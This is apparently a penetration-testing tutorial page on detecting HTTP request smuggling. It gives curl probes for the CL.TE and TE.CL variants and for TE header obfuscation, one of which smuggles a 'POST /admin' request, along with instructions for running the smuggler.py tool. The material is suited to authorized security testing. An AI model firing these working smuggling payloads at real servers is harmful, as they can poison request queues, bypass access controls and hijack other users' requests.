Skip to content
HackIndex.io

HTTP Request Smuggling Detection

3 min read Created Mar 28, 2026 Last updated Mar 28, 2026

HTTP request smuggling exploits disagreements between frontend proxies and backend servers over where one HTTP request ends and the next begins. A successful smuggle can poison the request queue, bypass security controls, hijack other users' requests, and trigger reflected XSS. Detection confirms whether the frontend and backend parse Transfer-Encoding and Content-Length headers differently. Inspect the proxy architecture first through HTTP header analysis.

  • CL.TE detection tests when the frontend uses Content-Length and the backend uses Transfer-Encoding.
  • TE.CL detection tests the reverse, where the frontend uses Transfer-Encoding and the backend uses Content-Length.
  • smuggler.py automates CL.TE and TE.CL probes across all methods and obfuscation variants.
  • TE obfuscation tests non-standard Transfer-Encoding header formatting that frontends may pass through.

CL.TE Detection

The frontend uses Content-Length, the backend uses Transfer-Encoding. Send a request where the CL says the body ends before TE terminates. If the backend keeps a fragment from your request and prepends it to the next request, smuggling is confirmed:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 6' -H 'Transfer-Encoding: chunked' --data-binary $'0\r\n\r\nX' --http1.1 -o /dev/null -w '%{http_code}'

TE.CL Detection

The frontend uses Transfer-Encoding, the backend uses Content-Length. Send a chunked request with a large claimed Content-Length. The backend waits for more data, causing a timeout if TE.CL smuggling is possible:

┌──(kali㉿kali)-[~]
└─$ timeout 15 curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 4' -H 'Transfer-Encoding: chunked' --data-binary $'5e\r\nPOST /admin HTTP/1.1\r\nHost: $DOMAIN\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 30\r\n\r\nx=1\r\n0\r\n\r\n' --http1.1; echo "exit: $?"

smuggler.py for Automated Detection

smuggler automates CL.TE and TE.CL probes across all methods and obfuscation variants:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/defparam/smuggler && cd smuggler
┌──(kali㉿kali)-[~]
└─$ python3 smuggler.py -u https://$DOMAIN/ -m POST 
[+] CL.TE Possible! Timeout detected on chunked body

A timeout or unexpected response from smuggler confirms a desync condition. Manual verification with timing is more reliable than automated tools alone: follow up with a manual probe to confirm before reporting.

TE Obfuscation Variants

Some frontends strip a well-formed Transfer-Encoding header but pass obfuscated variants to the backend. Test these when standard headers are not triggering a desync:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$DOMAIN/ --data-binary $'0\r\n\r\n' -H 'Content-Length: 6' -H 'Transfer-Encoding : chunked' --http1.1 -o /dev/null -w '%{time_total}'

References